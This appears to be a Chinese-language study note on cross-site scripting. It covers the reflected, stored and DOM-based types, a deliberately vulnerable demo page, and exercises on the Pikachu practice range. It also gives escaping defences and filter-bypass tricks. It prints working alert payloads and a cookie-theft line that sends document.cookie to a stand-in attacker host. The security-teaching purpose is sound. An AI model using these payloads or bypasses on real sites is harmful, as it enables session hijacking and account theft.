核心知识点
1. 网站三件套(前端/后端/数据库)
- 前端:大堂、菜单、服务员——你看到的一切页面。
- 后端:厨房和厨师——处理业务逻辑,不可见。
- 数据库:大仓库——存账号密码、商品、朋友圈。
2. XSS 原理
- 全称:Cross-Site Scripting(跨站脚本攻击)。
- 场景:评论区/留言板塞恶意 JavaScript → 后端不检查就入库 → 用户打开页面即执行 → 账号密码被盗、跳转赌博网站、自动发垃圾广告。
- 本质:
输入作为输出被浏览器当成脚本执行。
3. 三种 XSS 类型
| 类型 | 特点 | 触发条件 |
|---|---|---|
| 反射型 | 非化,脚本不存数据库,通过 URL/表单提交,“反射”回页面 | 需诱导点击恶意链接(社会工程学) |
| 存储型 | 最危险,脚本存储于数据库/文件 | 任何访问该页面的用户自动触发 |
| DOM 型 | 攻击前端 JS 直接操作 DOM,无需与服务器交互 | 构造恶意 URL 或利用特定 HTML 属性 |
4. 基础实验(记事本 + 浏览器)
<input type="text" id="userInput">
<button onclick="leaveMessage()">提交留言</button>
<div id="displayArea"></div>
<script>
function leaveMessage() {
var text = document.getElementById('userInput').value;
document.getElementById('displayArea').innerHTML = text; // 无任何防范
}
</script>
正常:今天天气真好! → 正常显示。
攻击:
<img src="x" onerror="alert('警告:你被黑客攻击了!')">
图片加载失败触发 onerror 弹窗;真实攻击里是后台静默窃取凭证。
5. Pikachu 靶场实战
反射型 XSS(GET):
Cross-Site Scripting -> 反射型xss(get)。test提交,回显who is test,i don't care.,说明被拼进 HTML。<script>alert('XSS')</script>。- 前端限制:
<input>有maxlength,按F12修改/删除(设为大数如 100)。 - 提交后弹窗;URL 里
?message=<script>alert('XSS')</script>就是钓鱼链接。
存储型 XSS:
Cross-Site Scripting -> 存储型xss(留言板功能)。- 留言框输入
<script>alert('这是存储型XSS')</script>提交。 - 重开/换浏览器访问仍弹窗 → 脚本已存进数据库。
6. XSS 危害与窃取 Cookie
- 窃取 Cookie 发到攻击服务器。
- JS 跳转:
document.location='http://攻击/'(或简写location='http://...'),立即发起 GET 请求跳转。 - 后台收集:Pikachu 的 Cookie 收集功能——访问特定 URL 自动带上当前 Cookie。
- 钓鱼、蠕虫传播、篡改页面。
7. 防御与绕过
- 铁律:不要相信用户输入。
- 消毒:
htmlentities()/htmlspecialchars()把<、>、&、"转成 HTML 实体(<、>、&)。 - 绕过:单引号/双引号处理差异;
javascript:伪协议;URL 编码如%u003c代表<,浏览器端解码后执行。
实操步骤
# 反射型 Payload
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
# 窃取 Cookie(真实攻击示意)
<script>document.location='http://攻击IP/steal.php?c='+document.cookie</script>
# 存储型:提交到留言板后化触发
防御代码示例:
echo htmlspecialchars($_GET['message'], ENT_QUOTES, 'UTF-8');
常见错误与排查
- Payload 没反应 → 查前端
maxlength(F12 改)与后端实体化过滤。 - 存储型不弹窗 → 换浏览器/清缓存重测。
- 反射型要诱导点击,单测不生效正常 → 直接访问构造的 URL。
- 转义成文字而非弹窗 → 已被过滤,试编码绕过。